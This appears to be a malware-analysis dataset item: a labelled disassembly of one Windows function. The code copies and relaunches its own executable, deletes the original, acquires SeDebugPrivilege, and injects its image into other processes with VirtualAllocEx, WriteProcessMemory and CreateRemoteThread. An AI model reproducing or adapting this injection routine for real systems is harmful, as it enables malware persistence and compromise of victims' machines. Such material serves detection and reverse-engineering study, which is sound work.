Function at 0x7ff6fba618b0
Capabilities:
Accept command line arguments
Acquire debug privileges
Allocate or change rwx memory
Check os version
Copy file
Create process on windows
Create thread
Delete file
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rax - 0xbaf48]
mov eax, 0xbb030
call fcn.7ff6fba74bb0
sub rsp, rax
xor r12d, r12d
xor ecx, ecx
mov dword [rsp + 0x40], r12d
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
or r14, 0xffffffffffffffff
lea r13d, [r12 + 2]
test eax, eax
jne 0x7ff6fba61b89
mov ecx, dword [rsp + 0x40]
lea r8d, [r12 + 0xa]
lea rdx, [rbp - 0x60]
call fcn.7ff6fba69a7c
mov eax, dword [rsp + 0x40]
cmp eax, r13d
jg 0x7ff6fba61bd3
jne 0x7ff6fba61956
cmp qword [r15 + 8], r12
je 0x7ff6fba61956
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [r15 + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ebx, 0x3e8
lea rcx, [rbp + 0xab0]
mov r8d, ebx
xor edx, edx
call fcn.7ff6fba6188c
mov r8d, ebx
lea rcx, [rbp + 0x200]
xor edx, edx
call fcn.7ff6fba6188c
mov r8d, ebx
lea rcx, [rbp + 0x5f0]
xor edx, edx
call fcn.7ff6fba6188c
mov r8d, ebx
lea rdx, [rbp + 0xab0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, r12
movzx eax, word [rbp + rcx + 0xab0]
mov word [rbp + rcx + 0x200], ax
add rcx, r13
test ax, ax
jne 0x7ff6fba619a3
lea rax, [rbp + 0x200]
mov rcx, r14
inc rcx
cmp word [rax + rcx*2], r12w
jne 0x7ff6fba619c5
movsxd rdx, ecx
mov rax, rdx
test ecx, ecx
jle 0x7ff6fba61a2a
cmp word [rbp + rax*2 + 0x200], 0x5c
je 0x7ff6fba619f0
dec edx
dec rax
test rax, rax
jg 0x7ff6fba619d9
jmp 0x7ff6fba61a2a
inc edx
movsxd rax, edx
cmp rax, rcx
jae 0x7ff6fba61a2a
lea rcx, [rbp + 0x200]
lea rcx, [rcx + rax*2]
inc edx
mov word [rcx], r12w
add rcx, r13
movsxd r8, edx
lea r9, [rbp + 0x200]
mov rax, r14
inc rax
cmp word [r9 + rax*2], r12w
jne 0x7ff6fba61a1b
cmp r8, rax
jb 0x7ff6fba61a05
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov dword [rsp + 0x70], r12d
mov word [rsp + 0x74], r12w
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.7ff6fba67be8
mov rbx, r12
call fcn.7ff6fba67bbc
mov esi, eax
mov eax, 0x10624dd3
mul esi
shr edx, 4
imul ecx, edx, 0xffffff06
add esi, ecx
mov ecx, esi
call fcn.7ff6fba6827c
test eax, eax
je 0x7ff6fba61a54
mov word [rsp + rbx*2 + 0x58], si
inc rbx
cmp rbx, 7
jl 0x7ff6fba61a54
lea rcx, [rsp + 0x58]
sub rcx, r13
add rcx, r13
cmp word [rcx], r12w
jne 0x7ff6fba61a8e
movsd xmm0, qword [str..exe]
movzx eax, word [0x7ff6fba7e0e0]
movsd qword [rcx], xmm0
mov word [rcx + 8], ax
lea rcx, [rbp + 0x200]
sub rcx, r13
add rcx, r13
cmp word [rcx], r12w
jne 0x7ff6fba61ab8
lea r8, [rsp + 0x58]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x7ff6fba61ac8
xor r8d, r8d
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0xab0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x7ff6fba61b2f
mov eax, dword [0x7ff6fba7e0e4]
mov dword [rbp + 0x5f0], eax
movzx eax, word [0x7ff6fba7e0e8]
mov word [rbp + 0x5f4], ax
lea rax, [rbp + 0x5f0]
sub rax, r13
add rax, r13
cmp word [rax], r12w
jne 0x7ff6fba61b18
movsd xmm0, qword [0x7ff6fba7e0f0]
movsd qword [rax], xmm0
jmp 0x7ff6fba61b67
lea rcx, [rbp + 0x200]
mov rax, r14
inc rax
cmp word [rcx + rax*2], r12w
jne 0x7ff6fba61b39
mov ecx, 0x61
lea rdx, [rbp + 0x200]
mov word [rbp + rax*2 + 0x1f6], cx
xor r8d, r8d
lea rcx, [rbp + 0xab0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x28], r12d
lea r9, [rbp + 0x5f0]
lea r8, [rbp + 0x200]
mov qword [rsp + 0x20], r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, 0x114
lea rcx, [rbp + 0xe0]
mov r8d, ebx
xor edx, edx
call fcn.7ff6fba6188c
lea rcx, [rbp + 0xe0]
mov dword [rbp + 0xe0], ebx
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rbp + 0xe4], 5
mov dword [rsp + 0x44], r12d
jne 0x7ff6fba61c00
mov dword [rsp + 0x44], 1
jmp 0x7ff6fba61c1e
cmp eax, 3
jne 0x7ff6fba61b89
mov r8, qword [r15 + 0x10]
mov rcx, r8
movzx eax, word [rcx]
add rcx, r13
test ax, ax
jne 0x7ff6fba61bdf
mov rax, qword [r15 + 8]
cmp word [rax], 0x38
jne 0x7ff6fba61b89
cmp word [r8], 0x4c
jne 0x7ff6fba61b89
jmp 0x7ff6fba61f51
mov qword [rsp + 0x28], r12
lea r8, [0x7ff6fba65498]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea r9, [rsp + 0x50]
mov rcx, rax
lea ebx, [r8 + 0x28]
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x7ff6fba61c76
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
jne 0x7ff6fba61c76
mov ecx, r13d
call qword [sym.imp.ADVAPI32.dll_ImpersonateSelf]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov rcx, qword [rsp + 0x50]
lea rdx, str.SeDebugPrivilege
call fcn.7ff6fba62120
xor edx, edx
lea rcx, [rbp + 0xea0]
mov r8d, 0xba090
call fcn.7ff6fba6188c
lea rcx, [rbp + 0xea0]
call fcn.7ff6fba621c8
mov r8d, 0x64
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp + 0x10]
inc r14
cmp word [rax + r14*2], r12w
jne 0x7ff6fba61cbd
movsxd rcx, r14d
mov rax, rcx
test r14d, r14d
jle 0x7ff6fba61d17
cmp word [rbp + rax*2 + 0x10], 0x5c
je 0x7ff6fba61ce6
dec ecx
dec rax
test rax, rax
jg 0x7ff6fba61cd2
jmp 0x7ff6fba61d17
inc ecx
lea r9, [r14 + 1]
movsxd rax, ecx
cmp rax, r9
jae 0x7ff6fba61d17
lea r8, [rbp + 0x10]
lea r8, [r8 + rax*2]
lea rdx, [rbp - 0x60]
movzx eax, word [r8]
inc ecx
mov word [rdx], ax
add r8, r13
add rdx, r13
movsxd rax, ecx
cmp rax, r9
jb 0x7ff6fba61d00
mov r13d, 1
mov r12d, r13d
xor esi, esi
lea r15, [rbp + 0x1094]
mov dword [rsp + 0x48], esi
movsxd rax, esi
lea rbx, [rbp + 0xea0]
imul rcx, rax, 0x1fc
lea rax, [rbp - 0x60]
add rbx, rcx
mov r8, rbx
sub r8, rax
movzx ecx, word [rax]
movzx edx, word [rax + r8]
sub ecx, edx
jne 0x7ff6fba61d5f
add rax, 2
test edx, edx
jne 0x7ff6fba61d4b
test ecx, ecx
je 0x7ff6fba61ee8
cmp dword [r15 + 4], r13d
jne 0x7ff6fba61ee8
lea rdx, str.csrss.exe
mov rcx, rbx
call fcn.7ff6fba72f9c
test eax, eax
je 0x7ff6fba61ee8
lea rdx, str.explorer.exe
mov rcx, rbx
call fcn.7ff6fba72f9c
test eax, eax
je 0x7ff6fba61ee8
lea rdx, str.lsaas.exe
mov rcx, rbx
call fcn.7ff6fba72f9c
test eax, eax
je 0x7ff6fba61ee8
cmp dword [rsp + 0x44], 0
je 0x7ff6fba61dc6
test r12, r12
je 0x7ff6fba61eee
cmp r12, 1
je 0x7ff6fba61eee
mov ebx, dword [r15]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x7ff6fba61ed9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
test rax, rax
je 0x7ff6fba61ed9
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r9d, 0x3000
mov qword [rbp - 0x80], rbx
mov r8d, ebx
mov dword [rsp + 0x20], 0x40
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x7ff6fba61e64
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea r8d, [rbx + 0xa]
lea rdx, [rbp - 0x78]
call fcn.7ff6fba69a7c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x7ff6fba61ed9
mov r9, qword [rbp - 0x80]
lea rax, [rsp + 0x78]
and qword [rsp + 0x78], 0
mov r8, r14
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rsi
test eax, eax
je 0x7ff6fba61ebe
and qword [rsp + 0x30], 0
lea r9, [0x7ff6fba61f6c]
and dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x7ff6fba61ed9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [rsp + 0x48]
cmp dword [r15], 0
je 0x7ff6fba61f04
inc esi
add r15, 0x1fc
mov dword [rsp + 0x48], esi
cmp esi, 0x64
jl 0x7ff6fba61d2d
inc r13d
inc r12
cmp r13d, 4
jle 0x7ff6fba61d20
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.7ff6fba64708
mov ecx, 2
call fcn.7ff6fba626b0
lea r11, [rsp + 0xbb030]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov r12, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.7ff6fba64708
mov ecx, 8
call fcn.7ff6fba626b0
mov ecx, 1
call fcn.7ff6fba67bb0
int3